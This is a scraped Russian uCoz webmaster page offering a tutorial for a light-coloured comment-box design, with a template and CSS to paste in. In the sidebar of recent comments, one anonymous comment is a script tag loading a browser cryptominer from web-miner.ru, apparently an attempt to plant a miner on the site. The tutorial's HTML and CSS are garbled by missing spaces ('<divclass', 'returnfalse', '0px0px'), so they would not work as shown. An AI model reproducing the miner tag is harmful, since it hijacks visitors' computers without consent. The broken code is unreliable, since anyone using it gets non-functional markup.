Суббота, 25.11.2017, 12:31
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
  • Почему Вы не должны использовать электронную почту
  • Сложная система uCoz
  • Домен. Как лодку назовешь, так она и поплывет
  • Плюсы использования готовых фото в дизайне
  • Тэги div и span в языке HTML, и какое между ними различие?
  • Информационная безопасность для туристов и путешественников
  • Устройство для бесшумного закрывания дверей
  • Продвижение товара
  • Современные условия создания сайтов
  • Азартный слот Bananas Go Bahamas
  • Что влияет на стоимость сайта?
  • Как самостоятельно создать блог без усилий
  • Как добавить карту сайта в Wordpress
  • В чем заключается SEO-продвижение сайта?
  • Продвижение ссылками – будет ли работать в 2015 году?
  • Программы обработки, сравнения и анализа прайсов
  • Комплексное продвижение сайта как основа репутационного маркетинга
  • У кого заказывать разработку сайта
  • Как создать интернет-магазин?
  • Эксклюзивный дизайн сайта от студии Мультплекс
  • Наш опрос
    Какую социальную сеть предпочитаете?


    Всего ответов: 392

    установить такой вид опроса
    Статистика
    Яндекс.Метрика
    Онлайн всего: 7
    Гостей: 7
    Пользователей: 0


    Зарегистрировано 30435 (сегодня + 0 новых, вчера + 1 новых), В каталоге файлов 1127 материала(ов), Оставлено 5121 комментариев, На форуме создано тем и ответов.

    установить такую статистику

    Блок CW результаты

    Победы
    Победы(10)

    Поражения
    Поражения(5)


    Установить CW блок на свой сайт
    Внимание!
    Наш сайт адаптирован под браузер Mozilla Firefox
    скрипты для uCoz
    Скачать/Download
    В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

    установить такой блок
    Расскажи Друзьям!
    Комментарии
    Новость: Блок баннеры "Наши друзья" uCoz
    написал:
    <script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>
    Новость: Дополнительные поля в материлы uCoz
    Алексей написал:
    Не работает
    Новость: Блок баннеры "Наши друзья" uCoz
    написал:
    http://programm-ist.ucoz.org/полюбуйтесь моим сайтом))) Спс За Блок, надо подверстать! cool
    Новость: Поисковые боты Google, Yandex, Rambler в статистики онлайн uCoz
    написал:
    в новый блок воткнул данный скрипт. Все ок. В новом блоке (бот) отображаются боты, а в статистике, добавилось/сколько ботов и посетителей Спасибо

    Читать все комментарии
    Топ комментаторов

    установить такой информер
    VKONTAKTE

    FACEBOOK
    Главная страница » Помощь Вебмастеру » Категория HTML коды для uCoz » Добавлено [10.11.2013, 23:29]

    Светлый вид комментариев для uCoz

    Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

    Сегодня же абсолютно случайно увидели простенький, но симпатичный плагин. Плагин заточен под то, чтобы делать стильный светлый дизайн окон комментариев. Для тех, кто способен оценить такой вариант оформления элемента страницы - готовы показать и рассказать.

    Для тех же, кто предпочитает черный фон и красный текст, извините, не сегодня. Опять же Ucoz радует стильной новинкой - легкий и практичный белый или светлый дизайн. Никнеймы выделяет жирным, имеет графы времени добавления сообщения, возможность лайкнуть комментарий и перейти в приват, нажав на небольшой конвертик-письмо. Так же на светлом фоне отлично смотрятся яркие аватарки, так что ваши пользователи останутся довольны. Достойная аватарка на достойном фоне, скажу я вам - вещь важная и серьезная. А так же от белого фона глаза не так устают, если "в Интернете кто-то не прав" и приходится вести многочасовые молчаливые баталии с формучанами. Естественно, есть возможность размещать любимые смайлики. Для форумов с простой и понятной навигацией - такой плагине отличное решение - не перегружен ненужными цветами и элементами, но зато смотрится не дешево и придает общению на форуме нотку изысканности, ну вы понимаете о чем я - во всем нужно искать положительный момент, даже в простом по дизайне плагине от Ucoz.

    Важно! Все картинки из прикреплённого архива залейте в папку img

    Установка:

    В виде материалов комментариев замените всё на:
    <divclass="content-com">
    <divclass="com_p text_r text_9">
    if($USERNAME$)?><ahref="$PROFILE_URL$">if($USER_AVATAR_URL$)?><imgclass="avatar_comment wbr3"src="$USER_AVATAR_URL$"/>else?><imgsrc="/img/no_avatar.jpg"class="avatar_comment wbr3"alt="аватар отсутствует"/>endif?></a>else?><imgsrc="/img/no_avatar.jpg"class="avatar_comment wbr3"alt="аватар отсутствует"/>endif?>

    if($USER_LOGGED_IN$)?>
    if($IS_OWN$)?>else?>
    if($COMMENT_RATING$)?>else?>
    <aclass="kcom_like ts_b wbr3"href="$GOOD_COMMENT_URL$">Like</a>
    endif?>
    endif?>
    endif?>

    </div>
    <divclass="com_l wbr3">
    <divclass="com_v grey">
    if($ANSWER_URL$)?><divclass="left_block"><ahref="$ANSWER_URL$"title="Комментировать"><divclass="otvet"></div></a></div>endif?>
    if($USERNAME$)?><divclass="left_block top cherta-right gren">$USERNAME$</div>else?>if($NAME$)?><divclass="left_block top cherta-right gren">$NAME$</div>else?><divclass="left_block top cherta-right gren">Гость</div>endif?>endif?>
    <divclass="left_block top2 text_9">$DATE$ - $TIME$</div>
    <divclass="right top2 text_9 grey cherta-left ">Like | if($COMMENT_RATING$=0)?>0else?><spanclass="gren">+$COMMENT_RATING$</span>endif?></div>
    <divclass="right top2 text_9 grey cherta-left">№$NUMBER$</div>
    if($MODER_PANEL$)?>
    <atitle="Удалить"onclick="del_item($ID$);returnfalse;"id="di$ID$">
    <divclass="delete-com right"></div>
    </a>
    <atitle="Редактировать"onclick="new _uWnd('Ie',' ',-600,-200,{autosize:1,closeonesc:1,resize:0},{url:'/index/37-$ID$'});returnfalse;">
    <divclass="edit-com right"></div>
    </a>
    endif?>
    </div>
    <divclass="com_c text_115">$MESSAGE$ </div>
    <divclass="com_n grey text_9">
    <spanclass="left">
    </span>
    </div>
    </div>
    </div>

    Следующий код разместите в самом низу вашего css:
    /* Вид комментариев v.1
    ------------------------------------------*/

    /* Выравнивание */
    div.left_block {float:left;}
    div.right_block {float:right;}

    /* Кнопки комментировать, редактировать, удалить */
    .otvet {
    background: url(/img/otvet.png);
    background-position:0px0px;
    width:25px;
    height:23px;
    cursor: pointer;
    border-right:1px solid #cad1db;
    }
    .otvet:hover
    {
    background: url(/img/otvet.png);
    background-position:0px-23px;
    width:25px;
    height:23px;
    cursor: pointer;
    }

    .edit-com {
    background: url(/img/moder-panel.png);
    background-position:0px0px;
    width:35px;
    height:23px;
    cursor: pointer;
    border-left:1px solid #cad1db;
    }
    .edit-com:hover
    {
    background: url(/img/moder-panel.png);
    background-position:0px-23px;
    width:35px;
    height:23px;
    cursor: pointer;
    }

    .delete-com {
    background: url(/img/moder-panel.png);
    background-position:-35px0px;
    width:35px;
    height:23px;
    cursor: pointer;
    border-left:1px solid #cad1db;
    }
    .delete-com:hover
    {
    background: url(/img/moder-panel.png);
    background-position:-35px-23px;
    width:35px;
    height:23px;
    cursor: pointer;
    }

    /* Аватар */
    .avatar_comment {
    width:50px;
    height:50px;
    padding:3px;
    background:#888888;
    }

    /* Закругление углов */
    .wbr3 {
    -webkit-border-radius:3px;
    -moz-border-radius:3px;
    border-radius:3px;
    }

    /* Контент */
    .content-com {
    float:left;
    width:100%;
    position:relative;
    margin-bottom:15px
    }

    .com_p {
    top:0;
    right:0;
    width:75px;
    position:absolute;
    background:url(/img/ugolok.png)no-repeat top left
    }

    .com_l {
    padding:0px0;
    background:#fff;
    border:1px solid #cad1db;
    margin:074px00;
    overflow:hidden
    }

    .com_v {
    height:23px;
    border-bottom:1px solid #cad3da
    }

    .com_v,.com_n {
    margin:00px00px
    }

    .com_c {
    min-height:39px;
    overflow:hidden;
    margin:5px15px7px15px;
    }

    .com_c p {
    padding:10px;
    margin:10px0;
    background:#ebfce8;
    overflow:hidden!important;
    border:1px solid #b4e5ac
    }

    /* Like */
    .kcom_like:link,.kcom_like:visited {
    text-align:center;
    color:#fff;
    float:right;
    width:47px;
    background:#999999;
    margin-top:3px;
    padding:1px3px1px3px;
    border:1px solid #666666
    }

    .kcom_like:hover {
    text-decoration: none;
    border:1px solid #666666!important;
    color:#375e15!important;
    text-shadow:1px1px1px#d7ffb6!important;
    background:#9aeb56!important
    }

    /* Черта возле кнопок */
    .cherta-right {
    height:20px;
    border-right:1px solid #cad1db;
    }

    .cherta-left {
    height:19px;
    border-left:1px solid #cad1db;
    }

    /* Текст */
    .text_r {
    text-align:right;
    }

    .text_9 {
    font:9pxVerdana,Arial,Helvetica, sans-serif;
    }

    .grey {
    color:#b1b1b1;
    }

    .grey2 {
    color:#cac8c8;
    }

    .gren {color:#429e1e;
    font-weight:bold;
    }

    .right {
    float:right;
    }
    .left {
    float:left;
    }

    .top {
    padding:4px12px0px12px;
    }

    .top2 {
    padding:5px12px0px12px;
    }

    .bold {
    font-weight:bold;
    }

    .text_115 {
    font:115%/1.5Verdana,Arial,Helvetica, sans-serif;
    }



    При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Светлый вид комментариев для uCoz



    Расскажи друзьям интересные новости:


    - Установить на свой сайт блок социальных закладок
    Категория: HTML коды для uCoz | Добавил: scripts_for_ucoz | Теги: uCoz, комментариев, светлый
    Просмотров: 3373 | Загрузок: 8 | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Для добавления необходима авторизация

    Хостинг от uCoz